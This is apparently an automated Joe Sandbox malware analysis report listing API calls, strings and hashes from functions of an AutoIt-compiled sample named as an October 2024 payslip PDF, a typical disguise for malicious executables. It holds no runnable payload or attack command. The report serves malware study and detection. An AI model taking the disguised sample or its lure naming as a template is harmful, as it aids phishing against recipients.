CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00D17A59
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00D17A6D
SendMessageW.USER32(00000404,00000001,00000000), ref: 00D17A7E
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00D17AAE
GetStockObject.GDI32(00000011), ref: 00D17AB9
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00D17AC4
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00D17ACE

Strings

static, xrefs: 00D17990, 00D17AA8
AutoIt v3, xrefs: 00D1793E
msctls_progress32, xrefs: 00D17A4F
DISPLAY, xrefs: 00D1799B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 7f0539ec7289e46913ae839cf8fef642ef57379861afaf29d9b9b200f85f5cbc
Instruction ID: 260a95a67e1f388f12abf2379fc3bebe30ea087a3a946f4fcfdfeaebc49eccaf
Opcode Fuzzy Hash: 7f0539ec7289e46913ae839cf8fef642ef57379861afaf29d9b9b200f85f5cbc
Instruction Fuzzy Hash: CCA17171A40215BFEB149BA4DC4AFAE7BB9EB58714F004614FA15E72E0CBB0AD41CB74

Function 00D0AF7B Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D0AF89
GetDriveTypeW.KERNEL32(?,00D2FAC0,?,\\.\,00D2F910), ref: 00D0B066
SetErrorMode.KERNEL32(00000000,00D2FAC0,?,\\.\,00D2F910), ref: 00D0B1C4

Strings

ATA, xrefs: 00D0B13F
iSCSI, xrefs: 00D0B169
USB, xrefs: 00D0B15B
PhysicalDrive, xrefs: 00D0B012
SAS, xrefs: 00D0B170
RAID, xrefs: 00D0B162
ATAPI, xrefs: 00D0B138
\\.\, xrefs: 00D0AFDB
Fixed, xrefs: 00D0B0AE
RAMDisk, xrefs: 00D0B090
Virtual, xrefs: 00D0B18C
MMC, xrefs: 00D0B185
Fibre, xrefs: 00D0B154
SCSI, xrefs: 00D0B131
Unknown, xrefs: 00D0B086, 00D0B12A
SSA, xrefs: 00D0B14D
Network, xrefs: 00D0B0A4
CDROM, xrefs: 00D0B09A
SATA, xrefs: 00D0B177
FileBackedVirtual, xrefs: 00D0B193
Removable, xrefs: 00D0B0B8
SSD, xrefs: 00D0B0F1
1394, xrefs: 00D0B146

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: b99e9f471a82d11d489bd423d9cdb7ff08704afc1a11a01b66438aaad0f1e183
Instruction ID: 134aae0faaea6593c1f03aebc8b6aa41362b585d7dbf1d5bae0de38478538c72
Opcode Fuzzy Hash: b99e9f471a82d11d489bd423d9cdb7ff08704afc1a11a01b66438aaad0f1e183
Instruction Fuzzy Hash: 87519F30688306AFCB10DF14C962ABD77B0AB1A3667244117EC0EA72D0C7B5DD499A73

Function 00CA6A3C Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00CA6A91
__wcsnicmp.LIBCMT ref: 00CA6AA9
__wcsnicmp.LIBCMT ref: 00CA6AC1
__wcsnicmp.LIBCMT ref: 00CA6AD9
__wcsnicmp.LIBCMT ref: 00CA6AF1
__wcsnicmp.LIBCMT ref: 00CA6B09
__wcsnicmp.LIBCMT ref: 00CA6B21
__wcsnicmp.LIBCMT ref: 00CA6B35
__wcsnicmp.LIBCMT ref: 00CA6B76
__wcsnicmp.LIBCMT ref: 00CA6B8A
__wcsnicmp.LIBCMT ref: 00CA6B9E
__wcsnicmp.LIBCMT ref: 00CA6BB2

Strings

#OnAutoItStartRegister, xrefs: 00CA6AD3
#requireadmin, xrefs: 00CA6ABB
#include-once, xrefs: 00CA6AEB
#include, xrefs: 00CA6B03
Cannot parse #include, xrefs: 00CDE819
Bad directive syntax error, xrefs: 00CDE743
#comments-start, xrefs: 00CA6B1B, 00CA6B70
#pragma compile, xrefs: 00CA6A8B
#ce, xrefs: 00CA6BAC
Unterminated group of comments, xrefs: 00CDE82C
#comments-end, xrefs: 00CA6B98
#cs, xrefs: 00CA6B2F, 00CA6B84
#notrayicon, xrefs: 00CA6AA3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 095f18a0c3931c07c630d5ca93369fda8f2910297cdb46649131ad98b7cc0c99
Instruction ID: 1b9ff10f6b96b2ef333231eccb05f62cff7e16c094b6f499eb87f495947e65f4
Opcode Fuzzy Hash: 095f18a0c3931c07c630d5ca93369fda8f2910297cdb46649131ad98b7cc0c99
Instruction Fuzzy Hash: 89812D70640256BBCB21BB65DC82FBF7768AF12704F088025FE45AA1C2EB60DB55F261

Function 00D2AB60 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00D2AB99
SetTextColor.GDI32(?,?), ref: 00D2AB9D
GetSysColorBrush.USER32(0000000F), ref: 00D2ABB3
GetSysColor.USER32(0000000F), ref: 00D2ABBE
CreateSolidBrush.GDI32(?), ref: 00D2ABC3
GetSysColor.USER32(00000011), ref: 00D2ABDB
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D2ABE9
SelectObject.GDI32(?,00000000), ref: 00D2ABFA
SetBkColor.GDI32(?,00000000), ref: 00D2AC03
SelectObject.GDI32(?,?), ref: 00D2AC10
InflateRect.USER32(?,000000FF,000000FF), ref: 00D2AC2F
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D2AC46
GetWindowLongW.USER32(00000000,000000F0), ref: 00D2AC5B
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00D2ACA7
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00D2ACCE
InflateRect.USER32(?,000000FD,000000FD), ref: 00D2ACEC
DrawFocusRect.USER32(?,?), ref: 00D2ACF7
GetSysColor.USER32(00000011), ref: 00D2AD05
SetTextColor.GDI32(?,00000000), ref: 00D2AD0D
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00D2AD21
SelectObject.GDI32(?,00D2A869), ref: 00D2AD38
DeleteObject.GDI32(?), ref: 00D2AD43
SelectObject.GDI32(?,?), ref: 00D2AD49
DeleteObject.GDI32(?), ref: 00D2AD4E
SetTextColor.GDI32(?,?), ref: 00D2AD54
SetBkColor.GDI32(?,?), ref: 00D2AD5E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: e247a1baf5c1e8c62c2960836df6069af5676b7d9557c64ecf4214358d0420e0
Instruction ID: 890e5fc961eab6a10b408db4efaa8f738d597ba3fd904a44db915e5efcfb98f9
Opcode Fuzzy Hash: e247a1baf5c1e8c62c2960836df6069af5676b7d9557c64ecf4214358d0420e0
Instruction Fuzzy Hash: DD617D71900218EFDF219FA8DC48EAE7B79EB18320F144525F911EB2A1D6759D41DFA0

Function 00D28C44 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00D28D34
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D28D45
CharNextW.USER32(0000014E), ref: 00D28D74
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00D28DB5
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00D28DCB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D28DDC
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00D28DF9
SetWindowTextW.USER32(?,0000014E), ref: 00D28E45
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00D28E5B
SendMessageW.USER32(?,00001002,00000000,?), ref: 00D28E8C
_memset.LIBCMT ref: 00D28EB1
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00D28EFA
_memset.LIBCMT ref: 00D28F59
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00D28F83
SendMessageW.USER32(?,00001074,?,00000001), ref: 00D28FDB
SendMessageW.USER32(?,0000133D,?,?), ref: 00D29088
InvalidateRect.USER32(?,00000000,00000001), ref: 00D290AA
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D290F4
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D29121
DrawMenuBar.USER32(?), ref: 00D29130
SetWindowTextW.USER32(?,0000014E), ref: 00D29158

Strings

0, xrefs: 00D290C2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 38fd61dbf617f09bc2f0c67e7c9f34b2f28b66cd06f1f194eb69c19d7ffdbe0c
Instruction ID: 4d1603d46c3a89af186abf91fdd98b1898d71e35b1b3085fefa61ad5159fcc53
Opcode Fuzzy Hash: 38fd61dbf617f09bc2f0c67e7c9f34b2f28b66cd06f1f194eb69c19d7ffdbe0c
Instruction Fuzzy Hash: A1E1C370901329AFDF219F51DC84EEE7B78EF25718F048159F915AA290DB708A85EF70

Function 00D24B16 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00D24C51
GetDesktopWindow.USER32 ref: 00D24C66
GetWindowRect.USER32(00000000), ref: 00D24C6D
GetWindowLongW.USER32(?,000000F0), ref: 00D24CCF
DestroyWindow.USER32(?), ref: 00D24CFB
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00D24D24
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D24D42
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00D24D68
SendMessageW.USER32(?,00000421,?,?), ref: 00D24D7D
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00D24D90
IsWindowVisible.USER32(?), ref: 00D24DB0
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00D24DCB
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00D24DDF
GetWindowRect.USER32(?,?), ref: 00D24DF7
MonitorFromPoint.USER32(?,?,00000002), ref: 00D24E1D
GetMonitorInfoW.USER32(00000000,?), ref: 00D24E37
CopyRect.USER32(?,?), ref: 00D24E4E
SendMessageW.USER32(?,00000412,00000000), ref: 00D24EB9

Strings

0, xrefs: 00D24BFC
(, xrefs: 00D24E2A
tooltips_class32, xrefs: 00D24D1D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: c9fdad9b715eea7b93df849b93842744652a26e215ad5ad2217b45bba1d5a9b6
Instruction ID: 67900f20c2ed7f8ea55b1900eb57b5a84cc320944e325a4604c984775181f846
Opcode Fuzzy Hash: c9fdad9b715eea7b93df849b93842744652a26e215ad5ad2217b45bba1d5a9b6
Instruction Fuzzy Hash: C8B1BF71604311AFDB14DF68D845B5ABBE4FF98718F00892CF8999B2A1D770EC05CBA1

Function 00CA27D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00CA28BC
GetSystemMetrics.USER32(00000007), ref: 00CA28C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00CA28EF
GetSystemMetrics.USER32(00000008), ref: 00CA28F7
GetSystemMetrics.USER32(00000004), ref: 00CA291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00CA2939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00CA2949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00CA297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00CA2990
GetClientRect.USER32(00000000,000000FF), ref: 00CA29AE
GetStockObject.GDI32(00000011), ref: 00CA29CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00CA29D5

Part of subcall function 00CA2344: GetCursorPos.USER32(?), ref: 00CA2357
Part of subcall function 00CA2344: ScreenToClient.USER32(00D667B0,?), ref: 00CA2374
Part of subcall function 00CA2344: GetAsyncKeyState.USER32(00000001), ref: 00CA2399
Part of subcall function 00CA2344: GetAsyncKeyState.USER32(00000002), ref: 00CA23A7

SetTimer.USER32(00000000,00000000,00000028,00CA1256), ref: 00CA29FC

Strings

AutoIt v3 GUI, xrefs: 00CA2974

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 08aced9c8e96fda97447a4e500f846121c29fb4198942bc423332dccd58fcda1
Instruction ID: e84edbbb6764b7538f381ffbea2e5891f6e616ca4934a3997355dbc254f5e7e1
Opcode Fuzzy Hash: 08aced9c8e96fda97447a4e500f846121c29fb4198942bc423332dccd58fcda1
Instruction Fuzzy Hash: F0B16C71A0021AAFDB14DFA8DC85BAE7BB5FB08714F108529FA15E73A0CB74D941CB60

Function 00D24069 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00D240F6
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00D241B6

Strings

VIEWCHANGE, xrefs: 00D24375
SELECTCLEAR, xrefs: 00D24235
SELECTINVERT, xrefs: 00D24286
FINDITEM, xrefs: 00D24329
GETITEMCOUNT, xrefs: 00D24128
DESELECT, xrefs: 00D242A4
SELECTALL, xrefs: 00D2421D
GETSUBITEMCOUNT, xrefs: 00D24141
GETSELECTED, xrefs: 00D242E4
GETTEXT, xrefs: 00D2415F
SELECT, xrefs: 00D24250
GETSELECTEDCOUNT, xrefs: 00D24199
ISSELECTED, xrefs: 00D241C1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 47aec6347e98d9356244239d0ee88bcfab88c690bc18b6fdfbe61d42968453ac
Instruction ID: bf25a496434a9859dadd017069d0ad6d29624dc33bf9d768435e41f6ef53992a
Opcode Fuzzy Hash: 47aec6347e98d9356244239d0ee88bcfab88c690bc18b6fdfbe61d42968453ac
Instruction Fuzzy Hash: 1CA19E30214316DBCB14EF20D942A6AB3A5FF95318F14496DBCA69B3D2DB30ED09DB61

Function 00D152F0 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00D15309
LoadCursorW.USER32(00000000,00007F8A), ref: 00D15314
LoadCursorW.USER32(00000000,00007F00), ref: 00D1531F
LoadCursorW.USER32(00000000,00007F03), ref: 00D1532A
LoadCursorW.USER32(00000000,00007F8B), ref: 00D15335
LoadCursorW.USER32(00000000,00007F01), ref: 00D15340
LoadCursorW.USER32(00000000,00007F81), ref: 00D1534B
LoadCursorW.USER32(00000000,00007F88), ref: 00D15356
LoadCursorW.USER32(00000000,00007F80), ref: 00D15361
LoadCursorW.USER32(00000000,00007F86), ref: 00D1536C
LoadCursorW.USER32(00000000,00007F83), ref: 00D15377
LoadCursorW.USER32(00000000,00007F85), ref: 00D15382
LoadCursorW.USER32(00000000,00007F82), ref: 00D1538D
LoadCursorW.USER32(00000000,00007F84), ref: 00D15398
LoadCursorW.USER32(00000000,00007F04), ref: 00D153A3
LoadCursorW.USER32(00000000,00007F02), ref: 00D153AE
GetCursorInfo.USER32(?), ref: 00D153BE
GetLastError.KERNEL32(00000001,00000000), ref: 00D153E9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: c97d0421de723b430eb3f06d8da82e5b2ea196971ccdd96d34f9541f70b4bb21
Instruction ID: 1734c819e817831f00c14f76f1c49f85be6c629112d383e3dd145b4899380c0e
Opcode Fuzzy Hash: c97d0421de723b430eb3f06d8da82e5b2ea196971ccdd96d34f9541f70b4bb21
Instruction Fuzzy Hash: 13417470E04319AADB109FB6DC498AEFFF8EF91B10B10452FE519E7290DAB89441CE61

Function 00CFAA64 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00CFAAA5
__swprintf.LIBCMT ref: 00CFAB46
_wcscmp.LIBCMT ref: 00CFAB59
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00CFABAE
_wcscmp.LIBCMT ref: 00CFABEA
GetClassNameW.USER32(?,?,00000400), ref: 00CFAC21
GetDlgCtrlID.USER32(?), ref: 00CFAC73
GetWindowRect.USER32(?,?), ref: 00CFACA9
GetParent.USER32(?), ref: 00CFACC7
ScreenToClient.USER32(00000000), ref: 00CFACCE
GetClassNameW.USER32(?,?,00000100), ref: 00CFAD48
_wcscmp.LIBCMT ref: 00CFAD5C
GetWindowTextW.USER32(?,?,00000400), ref: 00CFAD82
_wcscmp.LIBCMT ref: 00CFAD96

Part of subcall function 00CC386C: _iswctype.LIBCMT ref: 00CC3874

Strings

%s%u, xrefs: 00CFAB40

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: fc741b37351a090921314f71065829f45738771165f9b865402e6d26fe45e4c8
Instruction ID: 28e24bef90981d171ee06444b094f9d3e1e5ebad669f3858bb4024676d4bceaa
Opcode Fuzzy Hash: fc741b37351a090921314f71065829f45738771165f9b865402e6d26fe45e4c8
Instruction Fuzzy Hash: F6A1A1B120430AABD754DF64C884BBAF7A8FF04315F108529FAADD2590D730EA45DBA3

Function 00CFB397 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00CFB3DB
_wcscmp.LIBCMT ref: 00CFB3EC
GetWindowTextW.USER32(00000001,?,00000400), ref: 00CFB414
CharUpperBuffW.USER32(?,00000000), ref: 00CFB431
_wcscmp.LIBCMT ref: 00CFB44F
_wcsstr.LIBCMT ref: 00CFB460
GetClassNameW.USER32(00000018,?,00000400), ref: 00CFB498
_wcscmp.LIBCMT ref: 00CFB4A8
GetWindowTextW.USER32(00000002,?,00000400), ref: 00CFB4CF
GetClassNameW.USER32(00000018,?,00000400), ref: 00CFB518
_wcscmp.LIBCMT ref: 00CFB528
GetClassNameW.USER32(00000010,?,00000400), ref: 00CFB550
GetWindowRect.USER32(00000004,?), ref: 00CFB5B9

Strings

ThumbnailClass, xrefs: 00CFB4A3, 00CFB523
@, xrefs: 00CFB3BC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 648621be2a9ff019d992c7f8dd3aec9422955feae10c86149a27b0fb935a8246
Instruction ID: 8cdba7fe9da110baf6c755dd36dd0c3d84d845c272dff58181b81081db0de2d2
Opcode Fuzzy Hash: 648621be2a9ff019d992c7f8dd3aec9422955feae10c86149a27b0fb935a8246
Instruction Fuzzy Hash: D481D07100830A9FDB54DF10C985FBA7BE8EF44314F088569FE959A0A2DB34DE49CB62

Function 00CFB1E0 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00CFB23F

Strings

[HANDLE:, xrefs: 00CFB24B
[LAST, xrefs: 00CFB2EC
LAST, xrefs: 00CFB204
ACTIVE, xrefs: 00CFB21A
[CLASS:, xrefs: 00CFB28F
CLASSNAME=, xrefs: 00CFB27C
REGEXP=, xrefs: 00CFB254
[REGEXPTITLE:, xrefs: 00CFB267
HANDLE=, xrefs: 00CFB238
[ACTIVE, xrefs: 00CFB22C
[ALL, xrefs: 00CFB2E5
ALL, xrefs: 00CFB2D3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

